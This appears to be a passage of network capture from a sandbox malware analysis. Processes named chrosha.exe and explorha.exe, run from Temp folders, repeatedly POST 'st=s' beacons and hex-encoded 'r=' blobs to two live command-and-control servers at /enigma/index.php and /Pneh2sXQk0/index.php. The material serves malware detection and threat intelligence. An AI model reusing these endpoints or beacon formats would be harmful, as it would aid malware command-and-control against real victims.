1002	192.168.2.5	50856	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:34.944438934 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:35.189697981 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1003	192.168.2.5	50857	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:35.019114971 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:35.272346973 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1004	192.168.2.5	50858	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:35.451021910 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:35.704313040 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1005	192.168.2.5	50859	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:35.636626005 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:35.883553028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1006	192.168.2.5	50860	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:36.069868088 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:36.316726923 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1007	192.168.2.5	50861	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:36.134154081 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:36.383733988 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1008	192.168.2.5	50862	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:36.569881916 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:36.826958895 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1009	192.168.2.5	50863	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:36.758793116 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:37.006424904 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1010	192.168.2.5	50864	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:37.181685925 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:37.425400972 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1011	192.168.2.5	50865	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:37.259490013 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:37.507762909 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1012	192.168.2.5	50866	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:37.681504965 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:37.935158968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1013	192.168.2.5	50867	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:37.871017933 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:38.119838953 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1014	192.168.2.5	50868	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:38.285645008 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:38.525882959 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1015	192.168.2.5	50869	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:38.372169971 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:38.624025106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1016	192.168.2.5	50870	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:38.778930902 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:39.032505989 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1017	192.168.2.5	50871	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:38.975946903 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:39.220607042 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1018	192.168.2.5	50872	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:39.402957916 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:39.647891998 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1019	192.168.2.5	50873	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:39.478950977 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:39.732130051 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1020	192.168.2.5	50874	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:39.902959108 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:40.154689074 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1021	192.168.2.5	50875	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:40.089191914 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:40.337080956 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1022	192.168.2.5	50876	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:40.514228106 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:40.765721083 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1023	192.168.2.5	50877	193.233.132.56	80	2956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:40.590543032 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:40.846174955 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1024	192.168.2.5	50878	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:41.022152901 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
